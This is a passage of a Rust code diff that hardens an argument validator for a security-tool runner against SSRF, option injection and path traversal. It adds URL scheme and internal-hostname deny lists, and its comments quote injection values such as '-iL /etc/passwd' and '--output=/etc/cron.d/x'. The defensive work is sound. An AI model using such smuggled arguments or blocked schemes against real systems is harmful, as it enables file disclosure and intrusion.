`cidr` only (any other type + /// is a load error): check the value (the host, for a `url`) against the + /// project scope file, failing closed when none is found. See + /// `crate::scope`. #[serde(default)] pub scope_check: bool, - /// `scope_target` only: when true, reject targets that resolve to a - /// non-public address — loopback, private, link-local (incl. cloud-metadata - /// 169.254.0.0/16), unspecified, broadcast, documentation, and the IPv6 - /// equivalents (incl. v4-mapped). SSRF defense-in-depth, opt-in per arg so - /// tools that legitimately target internal hosts are unaffected. + /// `scope_target`, `url`, `ip_address` and `cidr`: when true, reject a + /// target in a non-public range — loopback, private, shared/CGNAT, + /// unspecified, broadcast, documentation, benchmarking, reserved, and the + /// IPv6 equivalents (incl. v4-mapped); the table lives in + /// `crate::hostpolicy`. A literal is tested directly, a CIDR by overlap + /// with every blocked range, and a hostname is resolved and every A/AAAA + /// answer tested (a name that cannot be resolved is refused). Regardless + /// of this flag, link-local (incl. cloud-metadata 169.254.0.0/16) and the + /// internal-name denylist (`localhost`, `*.local`, `*.internal`, ...) are + /// refused, and an IP literal embedded in a hostname (`127.0.0.1.nip.io`) + /// is treated as that address. SSRF defense-in-depth, opt-in per arg so + /// tools that legitimately target internal hosts are unaffected; an + /// egress manifest must set it on every network-target argument. #[serde(default)] pub block_internal: bool, + /// Permit a value that starts with `-` or `+`. Off by default so a user + /// value can never be parsed by the target binary as an option + /// (`-iL /etc/passwd`, `--output=/etc/cron.d/x`, `-rf`). + #[serde(default)] + pub allow_leading_dash: bool, + /// Permit whitespace inside a string-derived value. Honored only when the + /// manifest declares `command.exec` directly, because an `exec` element is + /// a single argv entry that is never re-split. A `template`, even one + /// compiled to exec at load, stays strict. + #[serde(default)] + pub allow_whitespace: bool, } /// Command construction definition `[command]`. /// /// Supports two invocation forms: -/// - `exec = ["cmd", "arg1", "{placeholder}"]` — preferred, shell-free array execution -/// - `template = "cmd arg1 {placeholder}"` — legacy string template (split via shlex) +/// - `exec = ["cmd", "arg1", "{placeholder}"]` — canonical, shell-free array execution +/// - `template = "cmd arg1 {placeholder}"` — deprecated string form, tokenized +/// at load into the same array (placeholders must be whole, unquoted tokens) /// -/// When both are present, `exec` takes precedence. +/// When both are present, `exec` takes precedence and `template` is kept for +/// display only. #[derive(Debug, Clone, Default, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct CommandDef { pub template: Option, - /// Preferred: array-based command construction that maps directly to execve. + /// Canonical array-based command construction that maps directly to execve. /// Each element is a separate argv entry; `{placeholder}` tokens are interpolated /// but the result is never re-split, so values containing spaces are safe. + /// When only `template` is given, the loader fills this in from the + /// tokenized template. pub exec: Option>, pub executor: Option, #[serde(default)] @@ -147,17 +253,35 @@ pub struct CommandDef { pub mappings: Option>>, #[serde(default)] pub conditionals: Option>, + /// When set to `"--"` (the only accepted value), argv construction inserts + /// a literal `--` immediately before the first argv entry that came from a + /// token consisting solely of a user-argument placeholder, so the target + /// binary stops option parsing before any user-controlled value. + #[serde(default)] + pub end_of_options: Option, + /// True when the manifest declared `exec` directly (as opposed to a + /// `template` compiled to exec at load). Only a declared `exec` unlocks + /// `allow_whitespace`. Set by the loader; not part of the TOML surface. + #[serde(skip)] + pub exec_was_declared: bool, } /// A conditional fragment `[command.conditionals.]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct ConditionalDef { pub when: String, pub template: String, + /// The template tokenized at load (placeholders still unresolved). Each + /// token is substituted individually at build time and the result is + /// spliced into argv as `{_}`. Not part of the TOML surface. + #[serde(skip)] + pub tokens: Vec, } /// Output definition `[output]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct OutputDef { pub format: String, #[serde(default)] @@ -166,14 +290,22 @@ pub struct OutputDef { pub envelope: bool, #[serde(default = "default_schema")] pub schema: serde_json::Value, + /// Upper bound on captured output, in bytes. + #[serde(default = "default_max_bytes")] + pub max_bytes: u64, } fn default_schema() -> serde_json::Value { serde_json::json!({"type": "object"}) } +fn default_max_bytes() -> u64 { + 8_388_608 +} + /// HTTP backend configuration `[http]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct HttpDef { pub method: String, pub url: String, @@ -188,6 +320,7 @@ pub struct HttpDef { /// MCP proxy backend configuration `[mcp]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct McpProxyDef { pub server: String, pub tool: String, @@ -197,6 +330,7 @@ pub struct McpProxyDef { /// Session mode configuration `[session]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct SessionDef { pub startup_command: String, pub ready_pattern: String, @@ -211,6 +345,23 @@ pub struct SessionDef { pub interaction: Option, #[serde(default)] pub commands: HashMap, + pub child_detection: Option, +} + +/// Child-session detection `[session.child_detection]`. +/// +/// Parsed so a manifest that declares it loads. A match on tool output alone +/// never registers a child session: output is attacker-influenced, so a child +/// context may only be registered when the runtime observes it through a +/// channel the far side does not control, with the contract taken from +/// `manifest`, resolved at load time. +#[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] +pub struct SessionChildDetectionDef { + pub pattern: String, + #[serde(rename = "type")] + pub type_name: String, + pub manifest: String, } fn default_300() -> u64 { @@ -226,6 +377,7 @@ fn default_100() -> u32 { } #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct SessionInteractionDef { #[serde(default)] pub input_sanitize: Vec, @@ -244,6 +396,7 @@ fn default_2000() -> u64 { } #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct SessionCommandDef { pub pattern: String, pub description: String, @@ -259,6 +412,7 @@ pub struct SessionCommandDef { /// Browser mode configuration `[browser]`. #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct BrowserDef { #[serde(default = "default_cdp")] pub engine: String, @@ -282,6 +436,15 @@ pub struct BrowserDef { #[serde(default)] pub commands: HashMap, pub state: Option, + pub defaults: Option, +} + +/// Per-command defaults `[browser.defaults]`. +#[derive(Debug, Clone, Default, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] +pub struct BrowserDefaultsDef { + /// "accessibility_tree" | "html" | "text" + pub extract_mode: Option, } fn default_10() -> u64 { @@ -313,6 +476,7 @@ fn default_a11y() -> String { } #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct BrowserScopeDef { #[serde(default)] pub allowed_domains: Vec, @@ -323,6 +487,7 @@ pub struct BrowserScopeDef { } #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct BrowserCommandDef { pub description: String, #[serde(default = "default_risk_tier")] @@ -334,6 +499,7 @@ pub struct BrowserCommandDef { } #[derive(Debug, Clone, Deserialize, Serialize)] +#[serde(deny_unknown_fields)] pub struct BrowserStateDef { #[serde(default)] pub fields: Vec, @@ -355,6 +521,9 @@ pub struct EvidenceEnvelope { pub exit_code: i32, pub stderr: String, pub results: serde_json::Value, + /// True when stdout, stderr or an HTTP body was cut at `[output] max_bytes`. + #[serde(default, skip_serializing_if = "std::ops::Not::not")] + pub output_truncated: bool, } /// Errors produced by ToolClad operations. @@ -368,6 +537,9 @@ pub enum ToolCladError { CommandError(String), /// Execution error (timeout, process failure, etc.). ExecutionError(String), + /// The policy gate refused the call before anything ran. Displays as + /// `policy gate denied: `. + PolicyDenied(String), } impl std::fmt::Display for ToolCladError { @@ -377,14 +549,16 @@ impl std::fmt::Display for ToolCladError { Self::ValidationError(msg) => write!(f, "validation error: {msg}"), Self::CommandError(msg) => write!(f, "command error: {msg}"), Self::ExecutionError(msg) => write!(f, "execution error: {msg}"), + Self::PolicyDenied(reason) => write!(f, "policy gate denied: {reason}"), } } } impl std::error::Error for ToolCladError {} -/// Custom type definition from toolclad.toml -#[derive(Debug, Clone, Serialize, Deserialize)] +/// Custom type definition from toolclad.toml (`[types.]`). +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] pub struct CustomTypeDef { pub base: String, #[serde(default)] diff --git a/rust/src/validator.rs b/rust/src/validator.rs index 557e1d1..e3871f0 100644 --- a/rust/src/validator.rs +++ b/rust/src/validator.rs @@ -1,6 +1,11 @@ +use crate::hostpolicy::{ + enforce_cidr_policy, enforce_hostname_policy, enforce_ip_policy, has_punycode_label, + looks_like_ip_literal, parse_canonical_ip, parse_cidr, +}; +use crate::scope::{check_scope, ScopeDef}; use crate::types::{ArgDef, ToolCladError}; use regex::Regex; -use std::net::{IpAddr, Ipv4Addr, Ipv6Addr}; +use std::net::{IpAddr, Ipv6Addr}; use std::sync::LazyLock; /// Supported argument types for validation. @@ -27,56 +32,144 @@ const SHELL_METACHARACTERS: &[char] = &[ '\n', '\r', ';', '|', '&', '$', '`', '(', ')', '{', '}', '[', ']', '<', '>', '!', ]; -/// Compiled regex for IP address formats. Canonical IPv4/IPv6 are validated by -/// strict `std::net` parsers; this regex only frames CIDR notation. -static CIDR_V4_RE: LazyLock = - LazyLock::new(|| Regex::new(r"^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/(\d{1,2})$").unwrap()); +/// Hostname grammar: LDH labels, no leading or trailing hyphen, no empty +/// label, no trailing dot. IP literals and CIDRs are parsed by the strict +/// `crate::hostpolicy` parsers before a value is matched against this. static HOSTNAME_RE: LazyLock = LazyLock::new(|| { Regex::new( r"^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$", ) .unwrap() }); -static URL_RE: LazyLock = - LazyLock::new(|| Regex::new(r"^https?://[a-zA-Z0-9\-\.]+(/[^\s]*)?$").unwrap()); +/// Schemes a `url` argument accepts when the manifest sets no `schemes`. +const DEFAULT_URL_SCHEMES: &[&str] = &["http", "https"]; + +/// Schemes a `url` argument never accepts, even when a manifest lists one in +/// `schemes`: each is either a non-network scheme a fetcher would turn into +/// local file or code access, or a protocol-smuggling vector (gopher and dict +/// speak raw bytes to an arbitrary port). +const DENIED_URL_SCHEMES: &[&str] = &[ + "javascript", + "data", + "file", + "blob", + "about", + "gopher", + "dict", + "ftp", + "ldap", + "jar", + "netdoc", + "mailto", + "ws", + "wss", +]; + +/// Types whose value is user text handed to the target binary more or less +/// verbatim. They get the W1.5 hygiene rules (NUL, control characters, +/// quotes/backslash, whitespace, leading dash) before any type parsing. +pub const STRING_DERIVED_TYPES: &[&str] = &[ + "string", + "path", + "credential_file", + "regex_match", + "url", + "scope_target", + "duration", + "msf_options", +]; /// Validate a single argument value against its definition. /// /// Returns the (possibly transformed) value on success, or a validation error. +/// +/// This is the strict (template-mode) entry point: `allow_whitespace` is not +/// honored. Use [`validate_arg_mode`] to validate for a manifest that declared +/// `command.exec` directly. pub fn validate_arg(name: &str, def: &ArgDef, value: &str) -> Result { - let val = value.trim(); - - // Network-shaped types (hostname, URL, IP, CIDR) reject leading/trailing - // whitespace at the source: RFC 1035 / RFC 5891 don't permit terminal - // whitespace in labels, and silently trimming would let "example.com " - // through to validators that already passed structural checks. - let strict_no_whitespace = matches!( - def.type_name.as_str(), - "scope_target" | "url" | "ip_address" | "cidr" - ); - if strict_no_whitespace && val.len() != value.len() { + validate_arg_mode(name, def, value, false) +} + +/// Validate a single argument value, stating whether the manifest's command +/// form is a declared `exec` array (`exec_mode = true`). +/// +/// `exec_mode` only affects `allow_whitespace`: an `exec` element is one argv +/// entry that is never re-split, so whitespace inside it is safe to opt into. +/// A `template` — even one compiled to exec at load — stays strict. +pub fn validate_arg_mode( + name: &str, + def: &ArgDef, + value: &str, + exec_mode: bool, +) -> Result { + validate_arg_in(name, def, value, exec_mode, None) +} + +/// The full validation entry point: [`validate_arg_mode`] plus the project +/// scope consulted when the arg sets `scope_check = true` (honored on +/// `scope_target`, `url`, `ip_address` and `cidr`; see [`crate::scope`]). +/// +/// A `None` scope with `scope_check = true` refuses the value (fail closed). +/// The scope check runs last, after hygiene, type parsing and the host/IP +/// policy, so an in-scope internal target is still refused by +/// `block_internal`. +pub fn validate_arg_in( + name: &str, + def: &ArgDef, + value: &str, + exec_mode: bool, + scope: Option<&ScopeDef>, +) -> Result { + // Rule 1 applies to every type, enum and numerics included. + if value.contains('\0') { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' must not contain NUL bytes" + ))); + } + + let type_name = def.type_name.as_str(); + if STRING_DERIVED_TYPES.contains(&type_name) { + // Hygiene runs on the raw value: nothing is trimmed away first. + check_value_hygiene(name, def, value, exec_mode)?; + return match type_name { + "string" => validate_string(name, def, value, true), + "scope_target" => validate_scope_target(name, def, value) + .and_then(|out| scope_hook(name, def, scope, &out, &out).map(|_| out)), + "url" => validate_url(name, def, value, scope), + "path" => validate_path(name, value), + "msf_options" => validate_msf_options(name, def, value), + "credential_file" => validate_credential_file(name, def, value), + "duration" => validate_duration(name, def, value), + "regex_match" => validate_regex_match(name, def, value), + _ => unreachable!("string-derived type dispatch is exhaustive"), + }; + } + + // Nothing is trimmed: a numeric, boolean, enum, IP or CIDR value with + // surrounding whitespace is refused rather than silently normalized. + let val = value; + if val.trim().len() != val.len() { return Err(ToolCladError::ValidationError(format!( "argument '{name}' must not contain leading or trailing whitespace" ))); } - // Apply injection sanitization if requested or for types that require it. - match def.type_name.as_str() { - "string" => validate_string(name, def, val, true), - "integer" => validate_integer(name, def, val), - "number" => validate_number(name, def, val), - "port" => validate_port(name, val), + match type_name { + // Numeric types apply the leading-dash rule to the output, after + // range checks and clamping, so `-5` with `clamp` and `min = 1` + // yields `1` and passes while a bare `-1` is refused. + "integer" => validate_integer(name, def, val) + .and_then(|out| reject_leading_dash(name, def, &out).map(|_| out)), + "number" => validate_number(name, def, val) + .and_then(|out| reject_leading_dash(name, def, &out).map(|_| out)), + "port" => validate_port(name, val) + .and_then(|out| reject_leading_dash(name, def, &out).map(|_| out)), "boolean" => validate_boolean(name, val), "enum" => validate_enum(name, def, val), - "scope_target" => validate_scope_target(name, def, val), - "url" => validate_url(name, val), - "path" => validate_path(name, val), - "ip_address" => validate_ip_address(name, val), - "cidr" => validate_cidr(name, val), - "msf_options" => validate_msf_options(name, def, val), - "credential_file" => validate_credential_file(name, def, val), - "duration" => validate_duration(name, def, val), - "regex_match" => validate_regex_match(name, def, val), + "ip_address" => validate_ip_address(name, def, val) + .and_then(|out| scope_hook(name, def, scope, &out, &out).map(|_| out)), + "cidr" => validate_cidr(name, def, val) + .and_then(|out| scope_hook(name, def, scope, &out, &out).map(|_| out)), _ => Err(ToolCladError::ValidationError(format!( "unknown argument type '{}' for '{}'", def.type_name, name @@ -84,6 +177,109 @@ pub fn validate_arg(name: &str, def: &ArgDef, value: &str) -> Result, + subject: &str, + value: &str, +) -> Result<(), ToolCladError> { + if def.scope_check { + check_scope(name, scope, subject, value)?; + } + Ok(()) +} + +/// True for C0 control characters (U+0000–U+001F), DEL (U+007F), and the C1 +/// range (U+0080–U+009F). Tab, newline, carriage return, vertical tab and form +/// feed are all included: a tool argument never needs a control byte, and +/// `\r`/`\n` are the line-injection characters. +fn is_control_char(c: char) -> bool { + let cp = c as u32; + cp < 0x20 || (0x7f..=0x9f).contains(&cp) +} + +/// Reject a value that starts with `-` or `+` unless the arg opts in with +/// `allow_leading_dash = true`. Such a value would otherwise be parsed by the +/// target binary as an option. +fn reject_leading_dash(name: &str, def: &ArgDef, value: &str) -> Result<(), ToolCladError> { + if !def.allow_leading_dash && (value.starts_with('-') || value.starts_with('+')) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' must not start with '-' or '+' (set allow_leading_dash = true to permit)" + ))); + } + Ok(()) +} + +/// W1.5 string-derived value hygiene, checked in order before any +/// type-specific parsing: control characters, quotes/backslash, whitespace, +/// leading dash. (NUL is checked by the caller for every type.) +fn check_value_hygiene( + name: &str, + def: &ArgDef, + value: &str, + exec_mode: bool, +) -> Result<(), ToolCladError> { + let type_name = def.type_name.as_str(); + // `msf_options` needs the space as its `KEY VALUE` separator. A `url` + // never contains whitespace, opt-in or not. Everything else may opt in + // only when the command form is a declared exec array. Either way the + // only whitespace ever admitted is the ASCII space U+0020: a tab or a + // newline is line injection, and a non-breaking or ideographic space is a + // homoglyph, not a separator. + let space_allowed = + type_name == "msf_options" || (def.allow_whitespace && exec_mode && type_name != "url"); + + // Rule 2 is unconditional; `allow_whitespace` never relaxes it. + if value.chars().any(is_control_char) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' must not contain control characters" + ))); + } + + if type_name == "scope_target" && value.contains('\\') { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' scope_target must not contain backslash escape sequences" + ))); + } + if value.contains(['\'', '"', '\\']) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' must not contain quote or backslash characters" + ))); + } + + if value + .chars() + .any(|c| c.is_whitespace() && !(space_allowed && c == ' ')) + { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' must not contain whitespace" + ))); + } + + reject_leading_dash(name, def, value) +} + +/// Anchor a user-supplied pattern so it must match the whole value: strip one +/// leading `^` and one trailing unescaped `$`, then wrap as `^(?:)$`. +/// Without this, `pattern = "[a-z]+"` would accept `abc123`. +pub fn anchor_pattern(pat: &str) -> String { + let inner = pat.strip_prefix('^').unwrap_or(pat); + let inner = match inner.strip_suffix('$') { + Some(stripped) if !stripped.ends_with('\\') => stripped, + _ => inner, + }; + format!("^(?:{inner})$") +} + +/// Compile an arg's `pattern`, anchored, surfacing a bad pattern as a +/// manifest error. +fn compile_anchored(name: &str, pat: &str) -> Result { + Regex::new(&anchor_pattern(pat)) + .map_err(|e| ToolCladError::ManifestError(format!("invalid pattern for '{name}': {e}"))) +} + /// Check that a value contains no shell metacharacters. fn reject_injection(name: &str, val: &str) -> Result<(), ToolCladError> { for ch in SHELL_METACHARACTERS { @@ -106,9 +302,7 @@ fn validate_string( reject_injection(name, val)?; } if let Some(ref pat) = def.pattern { - let re = Regex::new(pat).map_err(|e| { - ToolCladError::ManifestError(format!("invalid pattern for '{name}': {e}")) - })?; + let re = compile_anchored(name, pat)?; if !re.is_match(val) { return Err(ToolCladError::ValidationError(format!( "argument '{name}' does not match pattern '{pat}'" @@ -118,7 +312,24 @@ fn validate_string( Ok(val.to_string()) } +/// `integer` string form: optional sign, ASCII digits. +static INTEGER_RE: LazyLock = LazyLock::new(|| Regex::new(r"^[+-]?[0-9]+$").unwrap()); +/// `number` string form: decimal with optional fraction and exponent. No +/// `NaN`, `inf`, hex floats or whitespace. +static NUMBER_RE: LazyLock = + LazyLock::new(|| Regex::new(r"^[+-]?([0-9]+\.?[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?$").unwrap()); +/// `duration`: plain seconds, or `h`/`m`/`s`/`ms` components in that order. +/// The empty match is refused separately. +static DURATION_RE: LazyLock = LazyLock::new(|| { + Regex::new(r"^(?:[0-9]+|(?:[0-9]+h)?(?:[0-9]+m)?(?:[0-9]+s)?(?:[0-9]+ms)?)$").unwrap() +}); + fn validate_integer(name: &str, def: &ArgDef, val: &str) -> Result { + if !INTEGER_RE.is_match(val) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' is not a valid integer" + ))); + } let mut n: i64 = val.parse().map_err(|_| { ToolCladError::ValidationError(format!("argument '{name}' is not a valid integer")) })?; @@ -149,6 +360,11 @@ fn validate_integer(name: &str, def: &ArgDef, val: &str) -> Result Result { + if !NUMBER_RE.is_match(val) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' is not a valid number" + ))); + } let mut n: f64 = val.parse().map_err(|_| { ToolCladError::ValidationError(format!("argument '{name}' is not a valid number")) })?; @@ -187,6 +403,11 @@ fn validate_number(name: &str, def: &ArgDef, val: &str) -> Result Result { + if val.is_empty() || !val.bytes().all(|b| b.is_ascii_digit()) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' is not a valid port number" + ))); + } let n: u16 = val.parse().map_err(|_| { ToolCladError::ValidationError(format!("argument '{name}' is not a valid port number")) })?; @@ -199,10 +420,11 @@ fn validate_port(name: &str, val: &str) -> Result { } fn validate_boolean(name: &str, val: &str) -> Result { - match val { - "true" | "false" => Ok(val.to_string()), + let lower = val.to_ascii_lowercase(); + match lower.as_str() { + "true" | "false" => Ok(lower), _ => Err(ToolCladError::ValidationError(format!( - "argument '{name}' must be exactly 'true' or 'false'" + "argument '{name}' must be 'true' or 'false' (case-insensitive)" ))), } } @@ -257,7 +479,7 @@ fn validate_scope_target(name: &str, def: &ArgDef, val: &str) -> Result().is_err() { + if val.contains('/') && parse_cidr(val).is_none() { return Err(ToolCladError::ValidationError(format!( "argument '{name}' scope_target must not contain '/' (use CIDR notation for ranges)" ))); @@ -296,28 +518,15 @@ fn validate_scope_target(name: &str, def: &ArgDef, val: &str) -> Result() { - if def.block_internal { - if let Some(reason) = non_public_ip_reason(&IpAddr::V4(base)) { - return Err(ToolCladError::ValidationError(format!( - "argument '{name}' scope_target CIDR base {reason} (blocked by block_internal policy)" - ))); - } - } - return Ok(val.to_string()); - } + // CIDR ranges (IPv4 or IPv6, strictly framed): the whole range is tested + // for overlap with the blocked prefixes, not just its base address. + if let Some(net) = parse_cidr(val) { + enforce_cidr_policy(name, &net, def.block_internal)?; + return Ok(val.to_string()); } // A non-canonical IP-literal encoding must not slip through as a "hostname": @@ -331,35 +540,17 @@ fn validate_scope_target(name: &str, def: &ArgDef, val: &str) -> Result Option { - val.parse::() - .map(IpAddr::V4) - .or_else(|_| val.parse::().map(IpAddr::V6)) - .ok() -} -/// True if `val` is an attempt at an IP literal in a non-canonical encoding: -/// a `0x…` hex form, or every dot-separated label is all ASCII digits -/// (integer / dotted-decimal / octal / shorthand). Canonical IPs are handled -/// earlier and never reach here. -fn looks_like_ip_literal(val: &str) -> bool { - let lower = val.to_ascii_lowercase(); - if lower.starts_with("0x") { - return true; - } - val.split('.') - .all(|label| !label.is_empty() && label.bytes().all(|b| b.is_ascii_digit())) + // A well-formed name: internal-name denylist (always), embedded IP + // literal (treated as that address), and under `block_internal` DNS + // resolution with the range policy applied to every answer. + enforce_hostname_policy(name, val, def.block_internal)?; + Ok(val.to_string()) } /// True if the rightmost DNS label is not entirely numeric (a real TLD is never @@ -371,70 +562,199 @@ fn tld_not_all_numeric(val: &str) -> bool { } } -/// Returns a reason string if `ip` is a non-public address that SSRF defenses -/// should block: loopback, private, link-local (incl. cloud metadata), etc. -/// IPv6 v4-mapped addresses are unwrapped so `::ffff:127.0.0.1` is caught. -fn non_public_ip_reason(ip: &IpAddr) -> Option<&'static str> { - let v4 = match ip { - IpAddr::V4(a) => Some(*a), - IpAddr::V6(a) => a.to_ipv4_mapped(), +/// The host part of a URL authority, split from its optional port. +#[derive(Debug, PartialEq, Eq)] +struct UrlHost<'a> { + host: &'a str, + /// Validated port, when one was written. + port: Option, + /// Set when the host was a bracketed IPv6 literal, already parsed. + bracketed_v6: Option, +} + +/// Split a URL authority (everything between `://` and the first `/`, `?` or +/// `#`, with userinfo already refused) into host and port. A bracketed IPv6 +/// literal is unwrapped; an unbracketed one is ambiguous with a port and +/// refused. A written port must be 1–65535 in plain decimal digits. +fn split_url_authority<'a>(name: &str, authority: &'a str) -> Result, ToolCladError> { + let malformed_v6 = || { + ToolCladError::ValidationError(format!( + "argument '{name}' URL has a malformed bracketed IPv6 host" + )) }; - if let Some(a) = v4 { - return if a.is_loopback() { - Some("resolves to a loopback address") - } else if a.is_private() { - Some("resolves to a private address") - } else if a.is_link_local() { - Some("resolves to a link-local address (e.g. cloud metadata 169.254.169.254)") - } else if a.is_unspecified() { - Some("is the unspecified address 0.0.0.0") - } else if a.is_broadcast() { - Some("is the broadcast address") - } else if a.is_documentation() { - Some("is a documentation-range address") - } else { - None + + let (host, port_text, bracketed_v6) = if let Some(after_open) = authority.strip_prefix('[') { + let (inner, after_close) = after_open.split_once(']').ok_or_else(malformed_v6)?; + let port_text = match after_close { + "" => None, + p => Some(p.strip_prefix(':').ok_or_else(malformed_v6)?), }; - } - if let IpAddr::V6(a) = ip { - if a.is_loopback() { - return Some("resolves to the IPv6 loopback ::1"); - } - if a.is_unspecified() { - return Some("is the IPv6 unspecified address ::"); - } - let first = a.segments()[0]; - if (first & 0xfe00) == 0xfc00 { - return Some("is an IPv6 unique-local address (fc00::/7)"); - } - if (first & 0xffc0) == 0xfe80 { - return Some("is an IPv6 link-local address (fe80::/10)"); + let v6 = inner.parse::().map_err(|_| { + ToolCladError::ValidationError(format!( + "argument '{name}' URL bracketed host is not a valid IPv6 literal" + )) + })?; + (inner, port_text, Some(v6)) + } else { + match authority.rsplit_once(':') { + Some((h, p)) => (h, Some(p), None), + None => (authority, None, None), } + }; + + if host.is_empty() { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL has an empty host" + ))); } - None -} + if bracketed_v6.is_none() && host.contains(':') { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL IPv6 host must be enclosed in brackets" + ))); + } + + let port = match port_text { + None => None, + Some(p) => { + // Plain decimal only: `u16::from_str` would accept a leading `+`. + let parsed = if !p.is_empty() && p.bytes().all(|b| b.is_ascii_digit()) { + p.parse::().ok().filter(|n| *n >= 1) + } else { + None + }; + Some(parsed.ok_or_else(|| { + ToolCladError::ValidationError(format!( + "argument '{name}' URL port must be 1-65535" + )) + })?) + } + }; -/// Returns true if any DNS label in `host` is an A-label (`xn--…`). -/// Comparison is case-insensitive per IDNA: `XN--`, `Xn--`, `xN--` all count. -fn has_punycode_label(host: &str) -> bool { - host.split('.') - .any(|label| label.len() >= 4 && label.as_bytes()[..4].eq_ignore_ascii_case(b"xn--")) + Ok(UrlHost { + host, + port, + bracketed_v6, + }) } -fn validate_url(name: &str, val: &str) -> Result { +/// The `url` validator, in order: the string-derived hygiene has already run +/// (whitespace is never admitted for a `url`, opt-in or not); then the shell +/// metacharacter blocklist, which rejects `{` and `}` and therefore any +/// `{_secret:…}` reference; then a structural parse — `scheme://`, the scheme +/// allowlist, the scheme denylist, no userinfo, host extraction with an +/// optional port — and finally the host policy of `crate::hostpolicy`. +/// +/// This is deliberately not a WHATWG / RFC 3986 normalizer. The fetcher +/// downstream will parse the value again with its own rules, so anything a +/// human reviewer of the manifest could misread is refused here rather than +/// normalized away. +fn validate_url( + name: &str, + def: &ArgDef, + val: &str, + scope: Option<&ScopeDef>, +) -> Result { reject_injection(name, val)?; - if URL_RE.is_match(val) { - Ok(val.to_string()) + + // Step 2: `scheme://rest`. + let Some((scheme, rest)) = val.split_once("://") else { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' is not a valid URL (expected scheme://host)" + ))); + }; + let scheme = scheme.to_ascii_lowercase(); + + // Step 3: allowlist — the manifest's `schemes` when set, else http/https. + let allowed: Vec = if def.schemes.is_empty() { + DEFAULT_URL_SCHEMES.iter().map(|s| s.to_string()).collect() } else { - Err(ToolCladError::ValidationError(format!( - "argument '{name}' is not a valid URL" - ))) + def.schemes.iter().map(|s| s.to_ascii_lowercase()).collect() + }; + if !allowed.contains(&scheme) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL scheme '{scheme}' is not permitted (allowed: {})", + allowed.join(", ") + ))); } + + // Step 4: explicit denial, even when a manifest lists the scheme. + if DENIED_URL_SCHEMES.contains(&scheme.as_str()) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL scheme '{scheme}' is never permitted for a url argument" + ))); + } + + // Step 5: the authority ends at the first `/`, `?` or `#`. An `@` before + // that is userinfo, which hides the real host from a reviewer. + let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len()); + let authority = &rest[..authority_end]; + if authority.contains('@') { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL must not contain userinfo (user:pass@host)" + ))); + } + + // Step 6: host and optional port. + let UrlHost { + host, + port: _, + bracketed_v6, + } = split_url_authority(name, authority)?; + + // Step 7: host policy — the same checks as `scope_target`, since curl and + // wget-style fetchers are the prime SSRF vector. + if has_punycode_label(host) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL host must not contain punycode (xn--) labels" + ))); + } + let ip = bracketed_v6 + .map(IpAddr::V6) + .or_else(|| parse_canonical_ip(host)); + match ip { + Some(ip) => enforce_ip_policy(name, &ip, def.block_internal)?, + None => { + if !host.is_ascii() { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL host must be ASCII (IDN hostnames are rejected to prevent homoglyph bypass)" + ))); + } + if looks_like_ip_literal(host) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL host looks like a non-canonical IP literal; use dotted-quad IPv4 or a hostname" + ))); + } + if host.len() > SCOPE_TARGET_MAX_LEN || host.split('.').any(|label| label.len() > 63) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL host exceeds DNS length limits (RFC 1035 §2.3.4)" + ))); + } + if !HOSTNAME_RE.is_match(host) { + return Err(ToolCladError::ValidationError(format!( + "argument '{name}' URL host is not a valid hostname or IP literal" + ))); + } + // The same name rules as `scope_target`: internal-name denylist + // (always), embedded IP literal (treated as that address), and + // under `block_internal` DNS resolution of every answer. + enforce_hostname_policy(name, host, def.block_internal)?; + } + } + + // Step 8: the project scope, checked against the host. + scope_hook(name, def, scope, host, val)?; + + Ok(val.to_string()) +} + +/// True if `..` is a whole path component, splitting on `/` and `\\`. +fn has_parent_component(val: &str) -> bool { + val.split(['/', '\\']).any(|c| c == "..") } fn validate_path(name: &str, val: &str) -> Result { reject_injection(name, val)?; - if val.contains("../") || val.contains("..\\") { + if has_parent_component(val) { return Err(ToolCladError::ValidationError(format!( "argument '{name}' path must not contain traversal sequences (../)" ))); @@ -448,37 +768,33 @@ fn validate_path(name: &str, val: &str) -> Result { 